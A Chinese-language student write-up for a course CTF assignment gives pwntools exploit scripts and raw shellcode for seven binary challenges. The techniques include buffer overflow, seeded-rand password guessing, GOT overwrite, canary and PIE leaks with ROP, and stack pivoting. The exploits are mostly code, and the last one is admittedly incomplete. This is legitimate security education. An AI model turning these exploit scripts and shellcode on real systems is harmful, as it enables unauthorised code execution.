攻防 Project1 Write up

組名：WannaCry_QQ

107502018 王昱承　　107502504 歐亭昀　　109522009 蕭盛澤

1. Helloctf_revenge

突破點 ：

1.目標是使用 buffer overflow 將 ret 位置切換成想要的地方，進入程式後就有一個以 get 製作成的 input 來做 buffer overflow

2.要令 main function 正常結束，main 裡面有 2 個判斷點：

(1) 長度不能超過 0x10

(2) 輸入字串要和 yes 一模一樣

為了要和第 2 點相符，使用 b"yes\x00"作為輸入，後面隨便塞，\x00 代表著 NULL，當成是讀到 NULL 時會以為字串已經結束了，正好通過了 main 的兩個檢測。

3. 最後，ret 指向的位置直接指向 lea 處 <magic+8> 後，成功進入 Shell，如果要直接 ret 到 magic 的話，需要再前方插入 ret 指令，讓 rsp 可以對齊(0x10 結尾)。

程式碼與註解 ：

```
from pwn import *
context.arch = 'amd64'

magic = 0x40125b      # the address of magic func.
lea = 0x401263     # the address of "lea"

p = remote('ctf.adl.tw',10001)
# p = process('helloctf_revenge')
pause()
# send yes+trash+lea
payload = flat(b"yes\x00",cyclic(0x4),cyclic(0x10),lea)
p.sendlineafter(b"Do you like VTuber?\n",payload)

p.interactive()
p.close()
```

2. Holoshell

突破點 ：

1. 從 C 語言中的 rand()函數的種子(srand)的方式下手，因為只要種子相同，密碼就相同。
2. 在猜密碼時製作第 0 秒以及第 1 秒，因為有時 remote 的時間一樣，有時會差一秒。
3. 最後密碼正確時，再輸入「\sh」建立一個 shell，而分號是要隔開兩邊。

程式碼與註解 ：

```
from pwn import *
from ctypes import *
context.arch = "amd64"
elf = cdll.LoadLibrary('libc.so.6')
p = process('/share/holoshell')

def make_psw(plus):
    elf.srand(time_base+plus)
    s=""
    for i in range(10):
        s+= chr(33 + (elf.rand() % (126 - 32) + 1))
    return s

time_base=elf.time(0)
passwd_list=[]
passwd_list.append(make_psw(0).encode())#same as remote
passwd_list.append(make_psw(1).encode())#remote is 1 second later

p = remote('140.115.59.7',10004)
pause()
p.send("sudo -s".encode())
pause()
p.send(passwd_list[0])       #有時是[0]
pause()
p.send(b"\";\sh ;\"")
p.interactive()
```

3. Holotool

突破點 ：

1. 因為這題無法 overflow，而且有開 NX，所以寫進 stack 中的 shellcode 也無法執行
2. 我們發現，在選擇要 Print 出 VT 的選項時，沒有設置下限，所以可藉由打「-1」將原本要讀取 VT[1].name 的位置反向讀取到 atoi 在 GOT 表的值，因此可以 Print 出 atoi 在 libc.sym 中的位置(取得 libc 的位置)。
3. 藉由算 offset 以及使用「libc.sym」找到 system call 的位置。
4. 發現在選項(2)edit 中選擇編輯誰時，因為輸入同上沒設置下限，從而造成接下來原本要輸入進 VT[1].name 的 system call 在 libc 的位置被存入 atoi 在 got table 中的位置。
5. 因為 got table 的 system call 會自動將 rax 設成 0x3b，所以我們接下來的目標就是改變 rdi,rsi 的內容。
6. 我們發現在 read_int() 中 read()會將輸入存進 rdi,rsi，並且接下來就呼叫 atoi()，非常符合我們的需求，所以我直接輸入 /bin/sh 開 shell。

程式碼與註解 ：

```
from pwn import *
import struct
context.arch = "amd64"
p = process('share/holotool') # p = remote('140.115.59.7',10005)
libc = ELF('./holotool_distribute/share/libc.so.6')

pause()
p.send(b"1")       # input 1 (Print)
pause()
p.send(b"-1")      # input -1 (Print bas Address)

atoi = u64(p.recvuntil('\nYT')[635:641].ljust(8, b'\x00'))
syscalls = atoi - libc.sym['atoi'] + libc.sym['system']

pause()
p.send(b"2")       # send 2 (edit)
pause()
p.send(b"-1")      # send -1 (direct to GOT)
pause()
p.send(b"1")       # send 1 (write name)
pause()
p.send(p64(syscalls))     # send syscalls address to got
pause()
p.send(b"/bin/sh")    # send /bin/sh (in rdi & rsi )
p.interactive()
```

4. Peko

突破點 ：

1. 要先輸入「yes」才可以過第一關
2. 接著要在輸入字串時，確保在遇到「第 6 個輸入」和從「第 6 開始每隔 11 的 char」要是'\x87'才可以通過第二關。
3. 接下來因為這題的保護機制都沒開，而且在最後面有呼叫 stack 內 shellcode 的程式碼，所以只要將 stack 中塞入 shellcode 就能執行了。依照上述的規則，將設定 rax,rdi,rdx,rsi 等暫存器和呼叫 stscalls 的 shellcode 輸入進去。

程式碼與註解 ：

```
from pwn import *
import struct
context.arch = "amd64"
p = process('peko_distribute/share/peko')

pause()
payload = flat(       #end yes to pass first exit(0)
    b"yes",
)
p.send(payload)
payload2 = flat(      #insert the shellcode into the stack
     b"\x50\x48\x31\xd2\xB1\x87\x48\x31\xf6\x80\xE9\x87\x80\xC1\x87\xB1\x87
\x48\xC7\xC3\x2F\x2F\x73\x68\xB1\x87\xB1\x87\x48\xC1\xE3\x20\x80\xC1\x87\xB
1\x87\xB1\x87\x48\x81\xC3\x2F\x62\x69\x6E\xB1\x87\xB1\x87\x53\x54\x5f\xb0\x
3b\x0f\x05\xB1\x87\xB1\x87\x80\xC1\x87")
p.send(payload2)
pause()
p.interactive()

#the shellcode insert into stack turn into assembly code
0:  48 8d 35 13 00 00 00    lea    rsi,[rip+0x13]        # 0x1a
7:  48 83 c4 28             add    rsp,0x28
b:  48 8d 9d 46 ff ff ff    lea    rbx,[rbp-0xba]
12: 38 c2                   cmp    dl,al
14: 48 0f 44 de             cmove  rbx,rsi
18: 53                      push   rbx
19: c3                      ret
1a: b0 e7                   mov    al,0xe7
1c: 0f 05                   syscall
```

5. Debut

突破點 ：

1. 同樣要進行 buffer overflow，這次目標放在 set_fan_name()，因為這裡是唯一 read 參數可以超過 0x10 位的地方。因為有 timeout 限制，我們必須要快速發大財，這邊利用 shopping() 的漏洞，販賣負的 stickers 直接發財，然後把粉絲加成都買一買，最後只要 stream 一次就能滿足 set_fan_name 的條件。
2. 成功進入 set_fan_name() 後，我們共要處理三個問題：
   (1) Canary 防禦機制
   (2) PIE 防禦機制 Code 端
   (3) PIE 防禦機制 Libc 端
3. 在程式裡我最先做的是第二項，原因是我發現輸入的+0x8 處，剛好有個位於 Code 端的 pointer，所以我就將 input 塞 8 個垃圾，讓兩者接起來，這樣後面的名稱確認那就會把 Code 端位置洩漏出來，由此得到 Code 端的浮動位置。
4. 第二個做的是第一項，破解 Canary 的方式與上方相同，我塞 41 個垃圾讓 Canary 洩漏出來，雖然 Canary 的第一個字元 會被我垃圾蓋掉，但是 Canary 的第一個字元固定是 b”\x00”，所以後面再補給他就是了。
5. 最後算的是 Libc 的浮動位置，這裡的方法就沒有什麼特殊的，因為我們在前面已經獲得 Code 端的浮動位置，所以我們已經可以開始控制 ret 來搞事了，我們用了 pop rdi 塞入 Libc puts 的位置，然後呼叫 Code 端的 puts 讓他輸出出來，這樣得到了 Libc 端的浮動位置。
6. 處理完上方所有事項後，從 Libc 裡找出 b“/bin/sh”和 system 位置，然後依次序塞到輸入裡就是了(記得要放 Canary)。

程式碼與註解 ：

```
from pwn import *

stream =
b"\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
shopping =
b"\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buy1 = b"B1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buy2 = b"B2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buy3 = b"B3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buy4 = b"B4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buy5 = b"B5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
set_fan =
b"\x33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
sell = b's-99999999999999\x00'
```

```python
#p = process("./debut")
p = remote('ctf.adl.tw', 10006)
elf = ELF("./debut")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

pause()
payload = flat(b"David")
p.sendlineafter(b"your vTuber life\n", payload)
#####################Code-offset############################
payload = flat(shopping, sell, shopping, buy1, shopping, buy2, shopping,
buy3,shopping, buy4, shopping, buy5, stream, set_fan, cyclic(8))
p.sendlineafter(b"exit\n", payload)
p.recvuntil(cyclic(8)+b"\n")
code_offset = u64(p.recv(7).rjust(8, b"\x00"))
# 0xXXXXcode_offset -> 0x0000code_offset
code_offset = code_offset % (16**13)
#  code_offset in 1300 查 obj 查來的
code_offset = code_offset - 0x1300
print("Code_offset is :", hex(code_offset))
############################################################
#######################Canary###############################
pause()
payload = flat(b"n", cyclic(41))
# p.sendlineafter(b"\n",payload)
p.send(payload)

p.recvuntil(cyclic(41))
canary = u64(p.recv(7).rjust(8, b"\x00"))
print("Canary is :", hex(canary))
############################################################
#####################Libc-offset############################
pop_rdi = 0x0000000000001cc3 + code_offset
# 最後要回到 set_fan_name
set_fan_name = 0x0000000000001a70 + code_offset

pause()
payload = flat(b"n", cyclic(40), p64(canary), cyclic(8), p64(pop_rdi),
               p64(elf.got['puts'] +
                   code_offset), p64(elf.plt['puts']+code_offset),
               p64(set_fan_name))
```

```python
p.send(payload)

pause()
payload = flat(b"y")
p.send(payload)
p.recvuntil(b'success\n')
puts = u64(p.recvline().strip().ljust(8, b"\x00"))
# or - 554400
libc_offset = puts - libc.sym['puts']
print("Libc_offset is :", hex(libc_offset))
#############################################################
######################Get-Shell##############################
bin_address = next(libc.search(b'/bin/sh')) + libc_offset
system = libc.sym['system'] + libc_offset
# 避免 rsp 沒對齊
ret = 0x000000000000101a + code_offset
pause()
payload = flat(cyclic(40), p64(canary), cyclic(8),
               p64(pop_rdi), p64(bin_address), p64(ret), p64(system))
p.send(payload)
#############################################################
pause()
p.send(b'y')
p.interactive()
p.close()
# cd /home/"debut"/flag
# cat /home/"debut"/flag
# ADL{你有看過feat 百鬼的台V 嗎沒有的話趕快點進去看
https://www.youtube.com/watch?v=nBlnWJUFAzI#t=244}
```

6. Pekopeko

突破點 ：

1. 輸入 yes 避開進入 exit(0)，和 peko 很像。
2. 第一次的輸入需要符合與 peko 這題一樣的規則(確保在遇到「第 6 個輸入」和從「第 6 開始每隔 11 的 char」要是'\x87')，而依照這個規則，輸入一段「寫入 shellcode 到 stack 其他地方」的 shellcode
3. 程式執行到我們寫的 shellcode 後，再寫入一段程式碼內容為：
   「開啟並讀取 /home/pekopeko/flag 檔案內容 →
   讀取 flag 內第 i 個字元 →
   輸入字串 guest，並用迴圈和 flag[i] 比較
   If 輸入字串內有和 flag[i] 相同的的字元：exit()
   Else 等待」
4. 依照我們的程式，如果發現 flag 內和我們 guest 的 flag 有相同的 char，則程式會顯示 Exit()。所以我們將所有有可能的 char 都輸入一遍，一個一個猜 flag 的 char。

程式碼與註解 ：

```
from pwn import *
import struct
context.arch = "amd64"
# p = remote('140.115.59.7',10008)
p = process('pekopeko_distribute/share/pekopeko')

p.send(flat(b"yes"))

p.send(    # input shell code
    flat(b"\x48\x31\xD2\x80\xC1\x87\x48\x8D\xB5\x00\xFF\xFF\xFF\xB1\x87\xB1\
x87\xB2\x90\xB8\x10\x11\x40\x00\xB1\x87\xB1\x87\x48\x31\xC9\xFF\xD0\x48\x83
\xEC\x70\xB1\x87\x48\x83\xEC\x40\xFF\xD6\xB1\x87\x80\xC1\x87\xB1\x87\xB1\x8
7\x80\xC1\x87\xB1\x87\xB1\x87\x80\xC1\x87"))
# string input
inp=flat(      # read flag X32
    b"\x59\xBF\x6C\x61\x67\x00\x57\x48\xBF\x6B\x6F\x70\x65\x6B\x6F\x2F\x66\
x57\x48\xBF\x2F\x68\x6F\x6D\x65\x2F\x70\x65\x57\x48\x31\xF6\x48\x31\xD2\x48
\x8D\x3C\x24\xB0\x02\x0F\x05\x48\x31\xFF\x66\xBF\x03\x00\x48\x31\xC0\x66\xB
A\x40\x00\x50\x50\x50\x50\x48\x8D\x34\x24\x48\x31\xC0\x0F\x05\xB1\x87",
        #input compare string
    b"\x48\x31\xD2\xB2\x01\x48\x31\xFF\x57\x57\x57\x57\x57\x48\x8D\x34\x24\
xB8\x10\x11\x40\x00\x48\x31\xC9\xFF\xD0",
        #compare string
    b"\x0F\xB6\x54\x24\x31\x0F\xB6\x04\x24\x38\xC2",
```

```
    # ----------------     -----28(1)
        #jump
    b"\x48\x8D\x35\x13\x00\x00\x00\x48\x83\xC4\x28\x48\x8D\x9D\x46\xFF\xFF\
xFF\x38\xC2\x48\x0F\x44\xDE\x53\xC3\xB0\xE7\x0F\x05",
        #others
    b"\xB1\x87\xB1\x87"
)
p.send(inp)
p.send(b"a")
p.send(b"_")
p.interactive()
# input shell code
0:  48                      dec    eax
1:  31 d2                   xor    edx,edx
3:  80 c1 87                add    cl,0x87
6:  48                      dec    eax
7:  8d b5 00 ff ff ff       lea    esi,[ebp-0x100]
d:  b1 87                   mov    cl,0x87
f:  b1 87                   mov    cl,0x87
11: b2 90                   mov    dl,0x90
13: b8 10 11 40 00          mov    eax,0x401110
18: b1 87                   mov    cl,0x87
1a: b1 87                   mov    cl,0x87
1c: 48                      dec    eax
1d: 31 c9                   xor    ecx,ecx
1f: ff d0                   call   eax
21: 48                      dec    eax
22: 83 ec 70                sub    esp,0x70
25: b1 87                   mov    cl,0x87
27: 48                      dec    eax
28: 83 ec 40                sub    esp,0x40
2b: ff d6                   call   esi
2d: b1 87                   mov    cl,0x87
2f: 80 c1 87                add    cl,0x87
32: b1 87                   mov    cl,0x87
34: b1 87                   mov    cl,0x87
36: 80 c1 87                add    cl,0x87
39: b1 87                   mov    cl,0x87
3b: b1 87                   mov    cl,0x87
3d: 80 c1 87                add    cl,0x87
```

```
#read file
0:  59                      pop    rcx
1:  bf 6c 61 67 00          mov    edi,0x67616c
6:  57                      push   rdi
7:  48 bf 6b 6f 70 65 6b    movabs rdi,0x662f6f6b65706f6b
e:  6f 2f 66
11: 57                      push   rdi
12: 48 bf 2f 68 6f 6d 65    movabs rdi,0x65702f656d6f682f
19: 2f 70 65
1c: 57                      push   rdi
1d: 48 31 f6                xor    rsi,rsi
20: 48 31 d2                xor    rdx,rdx
23: 48 8d 3c 24             lea    rdi,[rsp]
27: b0 02                   mov    al,0x2
29: 0f 05                   syscall
2b: 48 31 ff                xor    rdi,rdi
2e: 66 bf 03 00             mov    di,0x3
32: 48 31 c0                xor    rax,rax
35: 66 ba 40 00             mov    dx,0x40
39: 50                      push   rax
3a: 50                      push   rax
3b: 50                      push   rax
3c: 50                      push   rax
3d: 48 8d 34 24             lea    rsi,[rsp]
41: 48 31 c0                xor    rax,rax
44: 0f 05                   syscall
46: b1 87                   mov    cl,0x87

#input compare string
0:  48 31 d2                xor    rdx,rdx
3:  b2 01                   mov    dl,0x1
5:  48 31 ff                xor    rdi,rdi
8:  57                      push   rdi
9:  57                      push   rdi
a:  57                      push   rdi
b:  57                      push   rdi
c:  57                      push   rdi
d:  48 8d 34 24             lea    rsi,[rsp]
11: b8 10 11 40 00          mov    eax,0x401110
16: 48 31 c9                xor    rcx,rcx
```

```
19: ff d0                   call   rax

#input compare string
0:  0f b6 54 24 31          movzx  edx,BYTE PTR [rsp+0x31]
5:  0f b6 04 24             movzx  eax,BYTE PTR [rsp]

# jump
0:  48 8d 35 13 00 00 00    lea    rsi,[rip+0x13]        # 0x1a
7:  48 83 c4 28             add    rsp,0x28
b:  48 8d 9d 46 ff ff ff    lea    rbx,[rbp-0xba]
12: 38 c2                   cmp    dl,al
if:dl==al(rsi 放入 rbx)
else:rbx 不動
14: 48 0f 44 de             cmove  rbx,rsi
18: 53                      push   rbx
19: c3                      ret(pop rip)
1a: b0 e7                   mov    al,0xe7
1c: 0f 05                   syscall
```

7. Gawr_gura

突破點 ：

(Goal 1)取的 libc base：

1. 因為 Gawr_gura.note 長度為 10，但我們可以輸入 48 個字元，而且第 40-48 的 char 會剛好會覆覆蓋到 GOT table 中的 stdout，所以我們先算好輸入長度，將 stdout 前填滿，再 printf Gawr_gura.note 就可以得到 stdout 的 libc 地址。(因為 printf 內部機制是讀取 null 作為 停止，所以如果我們都填滿的話，就會連同後面的值一併印出)
2. 有 libc 地址就能算出 libc base 的長度。
3. 在輸入 buf 那邊有 overflow，將 ret 的位置填入「main + 0」重新在跑一次。

(Goal 2)Stack pivoting ：

1. Gawr_gura.note 填入 execve 的 ROP gadget
2. buf overflow 的地方，將 rbp → 填入 Gawr_gura.note 的位置，
   ret → 填入 leave ret 的 gadget，就完成 stack pivoiting.

中間要將 systcall 寫入 got table 中但我們還未做出來。

程式碼與註解 ：

```python
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
from pwn import *
# context.arch = 'amd64' #設定目標機的資訊
# lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
```

```python
p = process('gawr_gura_distribute/share/gawr_gura')  # 檔名

pause()
p.send(b'5')  # send 5 (Input)
pause()
p.send(b'a'*0x2c)  # send msg (Input into note)
pause()
p.send(b'6')  # send get msg send 6 (show address)

stdout = u64(p.recvuntil('Write')[7794:7800].ljust(8, b'\x00'))
base = stdout - lib.sym['_IO_2_1_stdout_']
syscalls = base + lib.sym['__libc_system']
success('base: 0x%x', base)
success('total: 0x%x', syscalls)

pause()

p.send(b"a"*0x50 +  # Suggest (overwrite) back to main
       p64(0x0000000000000000) +
       p64(0x0000000000401639))
pause()
p.send(b'5')  # send 5 (Input)
pause()
pop_rdi = 0x00000000004018c3
ret = 0x000000000040101a
pop_rsp = 0x00000000004018bd
sh = base + 0xe6c84

# send msg (Input into note overwrite Got table)
p.send(b'a'*0x2c+p64(syscalls))
pause()
p.send(b'1')  # send 1 (print name)
pause()
p.send(b"a"*0x50 +  # Suggest (stack pivoiting)
       p64(0x0000000000407090) +
       p64(0x0000000000401637))

p.interactive()
```